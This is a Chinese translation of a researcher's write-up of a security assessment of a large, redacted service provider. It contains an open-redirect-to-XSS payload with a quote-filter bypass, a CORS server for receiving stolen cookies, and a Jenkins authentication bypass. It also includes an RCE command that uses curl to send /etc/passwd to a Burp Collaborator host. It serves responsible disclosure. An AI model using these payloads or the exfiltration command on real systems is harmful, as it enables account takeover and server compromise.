这篇文章是关于我最近对一个巨大的服务提供商进行的一次私人安全评估,为了保证服务提供商的安全,我们在讲解的时候都会使用REDACTED。所以,本文介绍的绝不是一个完整的安全评估,我测试的主要目的是发现至少一个关键漏洞,以说明在有人真正尝试的情况下,这些服务提供商很容易受到进一步的攻击。
发现漏洞
我检查了这些服务提供商的谷歌商店,查看了他们的应用程序和安装数量,通过检查他们的应用程序和网站,我发现REDACTED (超过1000万次安装!)似乎是最重要的线索,因为它是存储重要信息的位置,这些信息包括:
1. 用户个人资料;
2. 用户积分;
3. 付款方式;
就像其他项目一样,我首先会开始收集子域、端点、技术栈等。以下是我的发现:
1. 认证集中所有网站;
2. 大多数web是用express framework (javascript)或PHP (code igniter)编写的;
3. PHP网站似乎也正在以express方式重写;
4. 他们使用关键线索封装WAF。
发现结果
这样我们就发现了一个攻击面,然后就可以开始寻找漏洞了,看能找到什么东西。注意,在最初的查找过程中,可能会漏掉某些关键细节。
逆向工程
REDACTED开发了大约50个应用程序,因此我无法全部分析它们。本文,我只是对REDACTED和REDACTED做了一个简短的总结,由于安装的数量较多,REDACTED和REDACTED被用得最多。我通常更喜欢安卓版的应用程序,因为我发现安卓版的应用程序通常比IOS版的应用程序要简单得多,而且令我惊讶的是,REDACTED应用程序被混淆了,这让我们可以从应用程序中提取几乎所有的代码。不幸的是,应用程序将所有的密钥和API密钥以纯文本的形式存储,因此它们是可接受的,并可能导致进一步的漏洞。
例如,以下URL是有关应用Firebase数据库的泄漏信息,其中一些是完全开放的!
https://REDACTED.firebaseio.com/.json
关于这些应用程序有很多有趣的信息,应该有很多方法来利用这些泄漏的信息,但是由于我没有耐心,我只关注在泄漏的终端来找到一个关键的漏洞。
最值得注意的是,在我分析应用程序的过程中,我发现应用程序实际上只是伪装的web应用程序,所以我的检查已经揭示了攻击面的很大一部分,但我仍然在其中发现了更多的信息。
漏洞发现
我们已经在逆向过程中发现,目标中的几乎所有线索都是Web线索,所以我们可以继续测试web漏洞,作为一个web和移动开发人员,我可以比其他类型的漏洞更快地找到这些漏洞。但这并不意味着这就是我们应该寻找的全部,我们应该始终尽力找到至少一个关键漏洞。
幸运的是,我到处都找到了PHP信息文件、应用程序的调试版本、跨域错误配置、打开git目录、可访问的firebase数据库、免费的s3存储桶等等,但是直到发现至少一个关键漏洞,我才感到满意。
REDACTED身份接管
正如我已经提到的,在分析应用程序和Web应用程序时,所有子应用程序和Web应用程序都使用集中式登录,因此,每当应用程序的任何用户想要登录其门户时,它们都将被重定向到accounts.REDACTED.net,它将向auth.REDACTED.net发送请求并验证用户身份,我首先查看标题以了解我们正在处理的内容。
缺少CSP、HSTS,最明显的是允许构建关键线索,看来,攻击者天堂*.REDACTED.net 上的任何XSS漏洞都可能导致整个身份接管。在这样的范围内找到一个XSS并不困难,但是找到一个有用的XSS可能会很困难,我所说的有用的XSS是指在每个现代浏览器上都可以找到的东西,它不需要任何独占特权。在这样,我就发现了一个名为redirect的新目录,它将以200响应,仅此而已。由于名字是新进行重定向的,所以我开始混淆它的参数,而不是只处理URL参数。
开放重定向的脆弱性
接下来,我只是试图在我找到的参数中添加一个网站,接下来,让我们看看会发生什么。http://auth.REDACTED.net/param?param=https://0xsha.io,它将我重定向到0xsha.io,太棒了!在这一点上,我感到很高兴,因为我认为我可以使用此开放重定向并将其与SSRF或其他链接起来以获取更多漏洞。但是,如果我们可以将它重定向到javascript协议呢?
开放重定向到XSS
因此,我只需将其重定向到javascript http://auth.REDACTED.net/param?param=javascript:alert(1337)即可!身份验证域本身上没有有漏洞的XSS,并且由于其性质,此漏洞确实已经绕过WAF和浏览器XSS保护。
XSS到帐户的接管
现在我们有一个XSS漏洞,现在是时候为它编写PoC漏洞了。我试过像XSShunter中的那些有效载荷,但我发现在经过更多的使用之后它们将无法工作。我发现引号和双引号都被过滤了!这会使我们的工作更加困难。所以我花了一些时间来找出一个更少的有效载荷,我们至少有两个选择:反引号和字符代码。下面是如何生成有效载荷的方法:
var s = "I\'m the XSS Exploit";for (var i =0; i<s.length;i++) { console.log(s.charCodeAt(i)); } alert`1337`
另外, 我们还需要一个可以向其发送Cookie的服务器,并且需要在其中设置适当的访问处理标头。过程如下:
class CORSRequestHandler (SimpleHTTPRequestHandler): def end_headers (self): self.send_header('Access-Control-Allow-Origin', '*') SimpleHTTPRequestHandler.end_headers(self)
现在我们终于准备好开发我们的漏洞利用了,还记得安全标头吗?它使我们能够从此易受攻击的域中创建隐藏的iframe,从而使此漏洞利用变得异常隐蔽。我的概念证明利用将窃取* .REDACTED.net中的所有cookie,并将其发送到我的服务器。最后,它将用户重定向回某些REDACTED网站。虽然我不能分享全部利用,但是可以肯定开发很简单。以下是基本步骤:
1. 我们通过模糊参数来在隐藏终端中找到一个开放重定向;
2. 由于缺乏安全处理,我们可以使用它来制作XSS;
3. 由于缺乏安全标头CSP/HSTS,我们可以运行具有各种功能的javascript代码;
4. 由于缺乏适当的安全处理措施,只能过滤引号,因此我们可以开发漏洞利用程序;
5. 由于缺少x-frame-option,我们可以创建隐藏的iframe并使它隐身;
6. 由于漏洞的性质,它将绕过浏览器保护和使用过的WAF;
7. 我们可以接收约3000万个帐户。
此时,我已经感觉到我发现了一个配置错误,并将其升级为秘密的漏洞利用。
漏洞还可以实现RCE利用
尽管我已经发现了一个有趣的漏洞,但我并没有止步于此,我尝试着到处去寻找已发现的线索,所以,经过一些挖掘,我发现在其他域README.MD文件中有一个非常明显的子域——jenkins.REDACTED.net,令人惊讶的是,它是古老的。我们可以通过仅仅向路径添加securityRealm/user/admin来绕过身份验证!
如果你熟悉Jenkins,你就会知道这个Jenkins除了RCE什么都不是!更糟糕的是,这个Jenkins即时消息是用来部署后勤办公室的!基础设施中的另一个关键线索是什么?恶意攻击者可以简单地感染部署,并感染使用此Jenkins部署的每个实例,所以我下载了orange漏洞。
再次设置一个burp collaborator并运行此命令:
python2 exp.py http://jenkins.REDACTED.net 'curl -F data=@/etc/passwd id.burpcollaborator.net'
于是OMG RCE就出现了!
对于 Collaborator 服务器,我们这里简单介绍下它应该拥有哪些功能。首先它要能捕捉到 burp 发出的 payload 触发目标与外部系统发生数据的交互行为,其次它自己与目标产生交互的数据要能够返回到 burp,也就是返回给攻击者,也就是我们。
这意味着,现在我们可以会使用已经发现的漏洞破坏整个网络!
总结
正如我们所看到的,在安全性方面,尽管REDACTED在安全性方面做得相当不错,但是他们还不能幸免于攻击。大公司应该为安全性分配更多的资源,另外,本文提到的所有漏洞均已报告给REDACTED公司,以最大程度地减少将来的损失。
本文翻译自:https://0xsha.io/posts/from-0-to-1337-brief-security-analysis-of-a-large-service-provider如若转载,请注明原文地址: